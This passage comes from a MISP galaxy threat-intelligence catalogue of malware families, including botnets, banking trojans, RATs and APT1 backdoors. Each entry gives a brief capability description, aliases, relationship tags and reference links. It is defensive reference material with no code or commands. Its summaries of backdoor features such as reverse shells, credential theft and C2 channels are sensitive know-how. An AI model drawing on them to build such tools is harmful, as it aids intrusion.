https://blog.gdatasoftware.com/2015/03/24274-the-andromeda-gamarue-botnet-is-on-the-rise-again

Necurs

The Necurs botnet is a distributor of many pieces of malware, most notably Locky.

The tag is: *misp-galaxy:tool="Necurs"*

View relationships graph

Necurs has relationships with:

- similar: misp-galaxy:malpedia="Necurs" with estimative-language:likelihood-probability="likely"

Table 7227. Table References

Links
https://en.wikipedia.org/wiki/Necurs_botnet
https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/

Palevo

The tag is: *misp-galaxy:tool="Palevo"*

Akbot

The tag is: *misp-galaxy:tool="Akbot"*

Akbot is also known as:

- Qbot
- Qakbot
- PinkSlipBot

View relationships graph

Akbot has relationships with:

- similar: misp-galaxy:banker="Qakbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 7228. Table References

Links
https://en.wikipedia.org/wiki/Akbot

Upatre

Upatre is a Trojan downloader that is used to set up other threats on the victim's PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan.

The tag is: *misp-galaxy:tool="Upatre"*

View relationships graph

Upatre has relationships with:

- similar: misp-galaxy:malpedia="Upatre" with estimative-language:likelihood-probability="likely"

Vawtrak

Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.

The tag is: *misp-galaxy:tool="Vawtrak"*

View relationships graph

Vawtrak has relationships with:

- similar: misp-galaxy:banker="Vawtrak" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 7229. Table References

Links
https://www.sophos.com/medialibrary/PDFs/technical%20papers/sophos-vawtrak-international-crimeware-as-a-service-tpna.pdf

Empire

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework

The tag is: *misp-galaxy:tool="Empire"*

View relationships graph

Empire has relationships with:

- similar: misp-galaxy:exploit-kit="Empire" with estimative-language:likelihood-probability="likely"

Table 7230. Table References

Links
https://github.com/adaptivethreat/Empire

Explosive

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: *misp-galaxy:tool="Explosive"*

Table 7231. Table References

Links
https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf

KeyBoy

The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data

The tag is: *misp-galaxy:tool="KeyBoy"*

View relationships graph

KeyBoy has relationships with:

- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Yahoyah" with estimative-language:likelihood-probability="likely"

Table 7232. Table References

Links
https://citizenlab.org/2016/11/parliament-keyboy/
https://community.rapid7.com/community/infosec/blog/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india

Yahoyah

The attacks in this case are associated with a campaign called Tropic Trooper, which has been active since at least 2011 and is known for heavily targeting Taiwan. One of the attacks used their known Yahoyah malware…

The tag is: *misp-galaxy:tool="Yahoyah"*

Yahoyah is also known as:

- W32/Seeav

View relationships graph

Yahoyah has relationships with:

- similar: misp-galaxy:malpedia="KeyBoy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Yahoyah" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="KeyBoy" with estimative-language:likelihood-probability="likely"

Table 7233. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Tartine

Delphi RAT used by Sofacy.

The tag is: *misp-galaxy:tool="Tartine"*

Mirai

Mirai (Japanese for "the future") is malware that turns computer systems running Linux into remotely controlled "bots", that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as remote cameras and home routers. The Mirai botnet has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH and the October 2016 Dyn cyberattack.

The tag is: *misp-galaxy:tool="Mirai"*

Mirai is also known as:

- Linux/Mirai

View relationships graph

Mirai has relationships with:

- similar: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 7234. Table References

Links
https://en.wikipedia.org/wiki/Mirai_(malware)

Masuta

IoT malware based on Mirai but slightly improved.

The tag is: *misp-galaxy:tool="Masuta"*

Masuta is also known as:

- PureMasuta

Table 7235. Table References

Links
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7

BASHLITE

The tag is: *misp-galaxy:tool="BASHLITE"*

BlackEnergy

BlackEnergy is a trojan which has undergone significant functional changes since it was first publicly analysed by Arbor Networks in 2007. It has evolved from a relatively simple DDoS trojan into a relatively sophisticated piece of modern malware with a modular architecture, making it a suitable tool for sending spam and for online bank fraud, as well as for targeted attacks. BlackEnergy version 2, which featured rootkit techniques, was documented by SecureWorks in 2010. The targeted attacks recently discovered are proof that the trojan is still alive and kicking in 2014. We provide a technical analysis of the BlackEnergy family, focusing on novel functionality and the differences introduced by new lite variants. We describe the most notable aspects of the malware, including its techniques for bypassing UAC, defeating the signed driver requirement in Windows and a selection of BlackEnergy2 plug-ins used for parasitic file infections, network discovery and remote code execution and data collection.

The tag is: *misp-galaxy:tool="BlackEnergy"*

View relationships graph

BlackEnergy has relationships with:

- similar: misp-galaxy:mitre-malware="BlackEnergy - S0089" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"

Table 7236. Table References

Links
https://www.virusbulletin.com/conference/vb2014/abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland/

Trojan.Seaduke

Trojan.Seaduke is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The tag is: *misp-galaxy:tool="Trojan.Seaduke"*

Trojan.Seaduke is also known as:

- Seaduke

Table 7237. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-031915-4935-99

Backdoor.Tinybaron

The tag is: *misp-galaxy:tool="Backdoor.Tinybaron"*

Incognito RAT

The tag is: *misp-galaxy:tool="Incognito RAT"*

DownRage

The tag is: *misp-galaxy:tool="DownRage"*

DownRage is also known as:

- Carberplike

Table 7238. Table References

Links
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/
https://twitter.com/Timo_Steffens/status/814781584536719360

GeminiDuke

GeminiDuke is malware that was used by APT29 from 2009 to 2012.

The tag is: *misp-galaxy:tool="GeminiDuke"*

View relationships graph

GeminiDuke has relationships with:

- similar: misp-galaxy:mitre-malware="GeminiDuke - S0049" with estimative-language:likelihood-probability="likely"

Table 7239. Table References

Links
https://attack.mitre.org/wiki/Software/S0049

Zeus

Trojan.Zbot, also called Zeus, is a Trojan horse that attempts to steal confidential information from the compromised computer. It may also download configuration files and updates from the Internet. The Trojan is created using a Trojan-building toolkit.

The tag is: *misp-galaxy:tool="Zeus"*

Zeus is also known as:

- Trojan.Zbot
- Zbot

View relationships graph

Zeus has relationships with:

- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 7240. Table References

Links
https://en.wikipedia.org/wiki/Zeus_(malware)
https://www.symantec.com/security_response/writeup.jsp?docid=2010-011016-3514-99

Shifu

Shifu is a Banking Trojan first discovered in 2015. Shifu is based on the Shiz source code which incorporated techniques used by Zeus. Attackers use Shifu to steal credentials for online banking websites around the world, starting in Russia but later including the UK, Italy, and others.

The tag is: *misp-galaxy:tool="Shifu"*

View relationships graph

Shifu has relationships with:

- similar: misp-galaxy:malpedia="Shifu" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Shiz" with estimative-language:likelihood-probability="likely"

Table 7241. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/

Shiz

The new variant of the Shiz Trojan malware targets mission-critical enterprise resource planning (ERP) applications — particularly SAP users.

The tag is: *misp-galaxy:tool="Shiz"*

View relationships graph

Shiz has relationships with:

- similar: misp-galaxy:tool="Shifu" with estimative-language:likelihood-probability="likely"

Table 7242. Table References

Links
https://securityintelligence.com/tag/shiz-trojan-malware/

MM Core

Also known as “BaneChant”, MM Core is a file-less APT which is executed in memory by a downloader component. It was first reported in 2013 under the version number “2.0-LNK” where it used the tag “BaneChant” in its command-and-control (C2) network request. A second version “2.1-LNK” with the network tag “StrangeLove” was discovered shortly after.

The tag is: *misp-galaxy:tool="MM Core"*

MM Core is also known as:

- MM Core backdoor
- BigBoss
- SillyGoose
- BaneChant
- StrangeLove

View relationships graph

MM Core has relationships with:

- similar: misp-galaxy:malpedia="MM Core" with estimative-language:likelihood-probability="likely"

Table 7243. Table References

Links
https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose

Shamoon

Shamoon,[a] also known as Disttrack, is a modular computer virus discovered by Seculert[1] in 2012, targeting recent NT kernel-based versions of Microsoft Windows. The virus has been used for cyber espionage in the energy sector.[2][3][4] Its discovery was announced on 16 August 2012 by Symantec,[3] Kaspersky Lab,[5] and Seculert.[6] Similarities have been highlighted by Kaspersky Lab and Seculert between Shamoon and the Flame malware.[5][6]

The tag is: *misp-galaxy:tool="Shamoon"*

Shamoon is also known as:

- DistTrack

View relationships graph

Shamoon has relationships with:

- similar: misp-galaxy:mitre-malware="Shamoon - S0140" with estimative-language:likelihood-probability="likely"

Table 7244. Table References

Links
https://en.wikipedia.org/wiki/Shamoon

https://securityaffairs.co/wordpress/78867/breaking-news/shamoon-virustotal.html

GhostAdmin

According to MalwareHunterTeam and other researchers that have looked at the malware's source code, GhostAdmin seems to be a reworked version of CrimeScene, another botnet malware family that was active around 3-4 years ago.

The tag is: *misp-galaxy:tool="GhostAdmin"*

View relationships graph

GhostAdmin has relationships with:

- similar: misp-galaxy:malpedia="GhostAdmin" with estimative-language:likelihood-probability="likely"

Table 7245. Table References

Links
https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/

EyePyramid Malware

Two Italians referred to as the "Occhionero brothers" have been arrested and accused of using malware and a carefully-prepared spear-phishing scheme to spy on high-profile politicians and businessmen. This case has been called "EyePyramid", which we first discussed last week. (Conspiracy theories aside, the name came from a domain name and directory path that was found during the research.)

The tag is: *misp-galaxy:tool="EyePyramid Malware"*

Table 7246. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-inner-workings-eyepyramid/

LuminosityLink

LuminosityLink is a malware family costing $40 that purports to be a system administration utility

The tag is: *misp-galaxy:tool="LuminosityLink"*

Table 7247. Table References

Links

http://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/

Flokibot

Floki Bot, described recently by Dr. Peter Stephenson from SC Magazine, is yet another bot based on the leaked Zeus code. However, the author came up with various custom modifications that makes it more interesting.

The tag is: *misp-galaxy:tool="Flokibot"*

Flokibot is also known as:

- Floki Bot
- Floki

Table 7248. Table References

Links
https://www.arbornetworks.com/blog/asert/flokibot-flock-bots/
https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/

ZeroT

Most recently, we have observed the same group targeting military and aerospace interests in Russia and Belarus. Since the summer of 2016, this group began using a new downloader known as ZeroT to install the PlugX remote access Trojan (RAT) and added Microsoft Compiled HTML Help (.chm) as one of the initial droppers delivered in spear-phishing emails.

The tag is: *misp-galaxy:tool="ZeroT"*

View relationships graph

ZeroT has relationships with:

- similar: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ZeroT" with estimative-language:likelihood-probability="likely"

Table 7249. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

StreamEx

Cylance dubbed this family of malware StreamEx, based upon a common exported function used across all samples ‘stream’, combined with the dropper functionality to append ‘ex’ to the DLL file name. The StreamEx family has the ability to access and modify the user’s file system, modify the registry, create system services, enumerate process and system information, enumerate network resources and drive types, scan for security tools such as firewall products and antivirus products, change browser security settings, and remotely execute commands. The malware documented in this post was predominantly 64-bit, however, there are 32-bit versions of the malware in the wild.

The tag is: *misp-galaxy:tool="StreamEx"*

View relationships graph

StreamEx has relationships with:

- similar: misp-galaxy:mitre-malware="StreamEx - S0142" with estimative-language:likelihood-probability="likely"

Table 7250. Table References

Links
https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar

adzok

Remote Access Trojan

The tag is: *misp-galaxy:tool="adzok"*

Table 7251. Table References

Links
https://github.com/kevthehermit/RATDecoders

albertino

Remote Access Trojan

The tag is: *misp-galaxy:tool="albertino"*

Table 7252. Table References

Links
https://github.com/kevthehermit/RATDecoders

arcom

Remote Access Trojan

The tag is: *misp-galaxy:tool="arcom"*

Table 7253. Table References

Links
https://github.com/kevthehermit/RATDecoders

blacknix

Remote Access Trojan

The tag is: *misp-galaxy:tool="blacknix"*

Table 7254. Table References

Links
https://github.com/kevthehermit/RATDecoders

bluebanana

Remote Access Trojan

The tag is: *misp-galaxy:tool="bluebanana"*

Table 7255. Table References

Links
https://github.com/kevthehermit/RATDecoders

bozok

Remote Access Trojan

The tag is: *misp-galaxy:tool="bozok"*

Table 7256. Table References

Links
https://github.com/kevthehermit/RATDecoders

clientmesh

Remote Access Trojan

The tag is: *misp-galaxy:tool="clientmesh"*

Table 7257. Table References

Links
https://github.com/kevthehermit/RATDecoders

cybergate

Remote Access Trojan

The tag is: *misp-galaxy:tool="cybergate"*

Table 7258. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkcomet

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkcomet"*

View relationships graph

darkcomet has relationships with:

- used-by: misp-galaxy:threat-actor="APT-C-27" with estimative-language:likelihood-probability="likely"

Table 7259. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkrat"*

Table 7260. Table References

Links
https://github.com/kevthehermit/RATDecoders

gh0st

Remote Access Trojan

The tag is: *misp-galaxy:tool="gh0st"*

View relationships graph

gh0st has relationships with:

- similar: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="likely"

Table 7261. Table References

Links
https://github.com/kevthehermit/RATDecoders

greame

Remote Access Trojan

The tag is: *misp-galaxy:tool="greame"*

Table 7262. Table References

Links
https://github.com/kevthehermit/RATDecoders

hawkeye

Remote Access Trojan

The tag is: *misp-galaxy:tool="hawkeye"*

Table 7263. Table References

Links
https://github.com/kevthehermit/RATDecoders

javadropper

Remote Access Trojan

The tag is: *misp-galaxy:tool="javadropper"*

Table 7264. Table References

Links
https://github.com/kevthehermit/RATDecoders

lostdoor

Remote Access Trojan

The tag is: *misp-galaxy:tool="lostdoor"*

Table 7265. Table References

Links
https://github.com/kevthehermit/RATDecoders

luxnet

Remote Access Trojan

The tag is: *misp-galaxy:tool="luxnet"*

Table 7266. Table References

Links
https://github.com/kevthehermit/RATDecoders

pandora

Remote Access Trojan

The tag is: *misp-galaxy:tool="pandora"*

Table 7267. Table References

Links
https://github.com/kevthehermit/RATDecoders

poisonivy

Remote Access Trojan

The tag is: *misp-galaxy:tool="poisonivy"*

View relationships graph

poisonivy has relationships with:

- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"

Table 7268. Table References

Links
https://github.com/kevthehermit/RATDecoders

predatorpain

Remote Access Trojan

The tag is: *misp-galaxy:tool="predatorpain"*

Table 7269. Table References

Links
https://github.com/kevthehermit/RATDecoders

punisher

Remote Access Trojan

The tag is: *misp-galaxy:tool="punisher"*

Table 7270. Table References

Links
https://github.com/kevthehermit/RATDecoders

qrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="qrat"*

View relationships graph

qrat has relationships with:

- similar: misp-galaxy:rat="Qarallax" with estimative-language:likelihood-probability="likely"

Table 7271. Table References

Links
https://github.com/kevthehermit/RATDecoders

shadowtech

Remote Access Trojan

The tag is: *misp-galaxy:tool="shadowtech"*

Table 7272. Table References

Links
https://github.com/kevthehermit/RATDecoders

smallnet

Remote Access Trojan

The tag is: *misp-galaxy:tool="smallnet"*

Table 7273. Table References

Links
https://github.com/kevthehermit/RATDecoders

spygate

Remote Access Trojan

The tag is: *misp-galaxy:tool="spygate"*

Table 7274. Table References

Links
https://github.com/kevthehermit/RATDecoders

template

Remote Access Trojan

The tag is: *misp-galaxy:tool="template"*

Table 7275. Table References

Links
https://github.com/kevthehermit/RATDecoders

tapaoux

Remote Access Trojan

The tag is: *misp-galaxy:tool="tapaoux"*

Table 7276. Table References

Links
https://github.com/kevthehermit/RATDecoders

vantom

Remote Access Trojan

The tag is: *misp-galaxy:tool="vantom"*

Table 7277. Table References

Links
https://github.com/kevthehermit/RATDecoders

virusrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="virusrat"*

Table 7278. Table References

Links
https://github.com/kevthehermit/RATDecoders

xena

Remote Access Trojan

The tag is: *misp-galaxy:tool="xena"*

Table 7279. Table References

Links
https://github.com/kevthehermit/RATDecoders

xtreme

Remote Access Trojan

The tag is: *misp-galaxy:tool="xtreme"*

Table 7280. Table References

Links
https://github.com/kevthehermit/RATDecoders

darkddoser

Remote Access Trojan

The tag is: *misp-galaxy:tool="darkddoser"*

Table 7281. Table References

Links

https://github.com/kevthehermit/RATDecoders

jspy

Remote Access Trojan

The tag is: *misp-galaxy:tool="jspy"*

Table 7282. Table References

Links
https://github.com/kevthehermit/RATDecoders

xrat

Remote Access Trojan

The tag is: *misp-galaxy:tool="xrat"*

Table 7283. Table References

Links
https://github.com/kevthehermit/RATDecoders

PupyRAT

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python.

The tag is: *misp-galaxy:tool="PupyRAT"*

Table 7284. Table References

Links
https://github.com/n1nj4sec/pupy

ELF_IMEIJ

Linux Arm malware spread via RFIs in cgi-bin scripts. This backdoor executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.

The tag is: *misp-galaxy:tool="ELF_IMEIJ"*

Table 7285. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/elf_imeij.a

KHRAT

KHRAT is a small backdoor that has three exports (functions), namely, K1, K2, and K3. K1 checks if the current user is an administrator. If not, it uninstalls itself by calling the K2 function.

The tag is: *misp-galaxy:tool="KHRAT"*

View relationships graph

KHRAT has relationships with:

- similar: misp-galaxy:malpedia="KHRAT" with estimative-language:likelihood-probability="likely"

Table 7286. Table References

Links
https://blogs.forcepoint.com/security-labs/trojanized-adobe-installer-used-install-dragonok%E2%80%99s-new-custom-backdoor

Trochilus

The Trochilus RAT is a threatening RAT (Remote Access Trojan) that may evade many anti-virus programs. The Trochilus RAT is currently being used as part of an extended threat campaign in South East Asia. The first appearance of the Trochilus RAT in this campaign, which has been active since August of 2015, was first detected in the summer of 2015. The Trochilus RAT is currently being used against civil society organizations and government computers in the South East Asia region, particularly in attacks directed towards the government of Myanmar.

The tag is: *misp-galaxy:tool="Trochilus"*

View relationships graph

Trochilus has relationships with:

- similar: misp-galaxy:rat="Trochilus" with estimative-language:likelihood-probability="likely"

Table 7287. Table References

Links
http://www.enigmasoftware.com/trochilusrat-removal/

MoonWind

The MoonWind sample used for this analysis was compiled with a Chinese compiler known as BlackMoon, the same compiler used for the BlackMoon banking Trojan. While a number of attributes match the BlackMoon banking Trojan, the malware is not the same. Both malware families were simply compiled using the same compiler, and it was the BlackMoon artifacts that resulted in the naming of the BlackMoon banking Trojan. But because this new sample is different from the BlackMoon banking Trojan,

The tag is: *misp-galaxy:tool="MoonWind"*

View relationships graph

MoonWind has relationships with:

- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 7288. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

Chrysaor

Chrysaor is spyware believed to be created by NSO Group Technologies, specializing in the creation and sale of software and infrastructure for targeted attacks. Chrysaor is believed to be related to the Pegasus spyware that was first identified on iOS and analyzed by Citizen Lab and Lookout.

The tag is: *misp-galaxy:tool="Chrysaor"*

Chrysaor is also known as:

- Pegasus
- Pegasus spyware

View relationships graph

Chrysaor has relationships with:

- similar: misp-galaxy:mitre-malware="Pegasus for iOS - S0289" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Pegasus for Android - S0316" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"

Table 7289. Table References

Links
https://security.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html

Sathurbot

The trojan serves as a backdoor. It can be controlled remotely.

The tag is: *misp-galaxy:tool="Sathurbot"*

View relationships graph

Sathurbot has relationships with:

- similar: misp-galaxy:malpedia="Sathurbot" with estimative-language:likelihood-probability="likely"

Table 7290. Table References

Links
http://virusradar.com/en/Win32_Sathurbot.A/description
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/

AURIGA

The AURIGA malware family shares a large amount of functionality with the BANGAT backdoor. The malware family contains functionality for keystroke logging, creating and killing processes, performing file system and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. The AURIGA malware contains a driver component which is used to inject the malware DLL into other processes. This driver can also perform process and IP connection hiding. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="AURIGA"*

Table 7291. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BANGAT

The BANGAT malware family shares a large amount of functionality with the AURIGA backdoor. The malware family contains functionality for keylogging, creating and killing processes, performing filesystem and registry modifications, spawning interactive command shells, performing process injection, logging off the current user or shutting down the local machine. In addition, the malware also implements a custom VNC like protocol which sends screenshots of the desktop to the C2 server and accepts keyboard and mouse input. The malware communicates to its C2 servers using SSL, with self signed SSL certificates. The malware family will create a copy of cmd.exe to perform its C2 activity, and replace the "Microsoft corp" strings in the cmd.exe binary with different values. The malware family typically maintains persistence through installing itself as a service.

The tag is: *misp-galaxy:tool="BANGAT"*

Table 7292. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BISCUIT

BISCUIT provides attackers with full access to an infected host. BISCUIT capabilities include launching an interactive command shell, enumerating servers on a Windows network, enumerating and manipulating process, and transferring files. BISCUIT communicates using a custom protocol, which is then encrypted using SSL. Once installed BISCUIT will attempt to beacon to its command/control servers approximately every 10 or 30 minutes. It will beacon its primary server first, followed by a secondary server. All communication is encrypted with SSL (OpenSSL 0.9.8i).

The tag is: *misp-galaxy:tool="BISCUIT"*

View relationships graph

BISCUIT has relationships with:

- similar: misp-galaxy:mitre-malware="BISCUIT - S0017" with estimative-language:likelihood-probability="likely"

Table 7293. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

BOUNCER

BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication. The DLL backdoor has the capability to execute arbitrary commands, collect database and server information, brute force SQL login credentials, launch arbitrary programs, create processes and threads, delete files, and redirect network traffic.

The tag is: *misp-galaxy:tool="BOUNCER"*

Table 7294. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

CALENDAR

This family of malware uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the hard coded email address and passwords. The malware uses the deprecated ClientLogin authentication API from Google. The malware is registered as a service dll as a persistence mechanism. Artifacts of this may be found in the registry.

The tag is: *misp-galaxy:tool="CALENDAR"*

View relationships graph

CALENDAR has relationships with:

- similar: misp-galaxy:mitre-malware="CALENDAR - S0025" with estimative-language:likelihood-probability="likely"

Table 7295. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

COMBOS

The COMBOS malware family is an HTTP based backdoor. The backdoor is capable of file upload, file download, spawning a interactive reverse shell, and terminating its own process. The backdoor may decrypt stored Internet Explorer credentials from the local system and transmit the credentials to the C2 server. The COMBOS malware family does not have any persistence mechanisms built into itself.

The tag is: *misp-galaxy:tool="COMBOS"*

Table 7296. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

COOKIEBAG

his family of malware is a backdoor capable of file upload and download as well as providing remote interactive shell access to the compromised machine. Communication with the Command & Control (C2) servers uses a combination of single-byte XOR and Base64 encoded data in the Cookie and Set-Cookie HTTP header fields. Communication with the C2 servers is over port 80. Some variants install a registry key as means of a persistence mechanism. The hardcoded strings cited include a string of a command in common with several other APT1 families.

The tag is: *misp-galaxy:tool="COOKIEBAG"*

COOKIEBAG is also known as:

- TROJAN.COOKIES

Table 7297. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

DAIRY

Members of this malware family are backdoors that provide file downloading, process listing, process killing, and reverse shell capabilities. This malware may also add itself to the Authorized Applications list for the Windows Firewall.

The tag is: *misp-galaxy:tool="DAIRY"*

Table 7298. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GETMAIL

Members of this family of malware are utilities designed to extract email messages and attachments from Outlook PST files. One part of this utility set is an executable, one is a dll. The malware may create a registry artifact related to the executable.

The tag is: *misp-galaxy:tool="GETMAIL"*

Table 7299. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GDOCUPLOAD

This family of malware is a utility designed to upload files to Google Docs. Nearly all communications are with docs.google.com are SSL encrypted. The malware does not use Google's published API to interact with their services. The malware does not currently work with Google Docs. It does not detect HTTP 302 redirections and will get caught in an infinite loop attempting to parse results from Google that are not present.

The tag is: *misp-galaxy:tool="GDOCUPLOAD"*

Table 7300. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GLOOXMAIL

GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware can accept commands over XMPP that includes file upload and download, provide a remote shell, sending process listings, and terminating specified processes. The malware makes extensive use of the open source gloox library (http://camaya.net/gloox/, version 0.9.9.12) to communicate using the Jabber/XMPP protocol. All communications with the Google XMPP server are encrypted.

The tag is: *misp-galaxy:tool="GLOOXMAIL"*

GLOOXMAIL is also known as:

- TROJAN.GTALK

View relationships graph

GLOOXMAIL has relationships with:

- similar: misp-galaxy:mitre-malware="GLOOXMAIL - S0026" with estimative-language:likelihood-probability="likely"

Table 7301. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GOGGLES

A family of downloader malware, that retrieves an encoded payload from a fixed location, usually in the form of a file with the .jpg extension. Some variants have just an .exe that acts as a downloader, others have an .exe launcher that runs as a service and then loads an associated .dll of the same name that acts as the downloader. This IOC is targeted at the downloaders only. After downloading the file, the malware decodes the downloaded payload into an .exe file and launches it. The malware usually stages the files it uses in the %TEMP% directory or the %WINDIR%\Temp directory.

The tag is: *misp-galaxy:tool="GOGGLES"*

GOGGLES is also known as:

- TROJAN.FOXY

Table 7302. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

GREENCAT

Members of this family are full featured backdoors that communicates with a Web-based Command & Control (C2) server over SSL. Features include interactive shell, gathering system info, uploading and downloading files, and creating and killing processes, Malware in this family usually communicates with a hard-coded domain using SSL on port 443. Some members of this family rely on launchers to establish persistence mechanism for them. Others contains functionality that allows it to install itself, replacing an existing Windows service, and uninstall itself. Several variants use %SystemRoot%\Tasks or %WinDir%\Tasks as working directories, additional malware artifacts may be found there.

The tag is: *misp-galaxy:tool="GREENCAT"*

Table 7303. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HACKFASE

```
This family of malware is a backdoor that provides reverse shell, process creation,
system statistics collection, process enumeration, and process termination
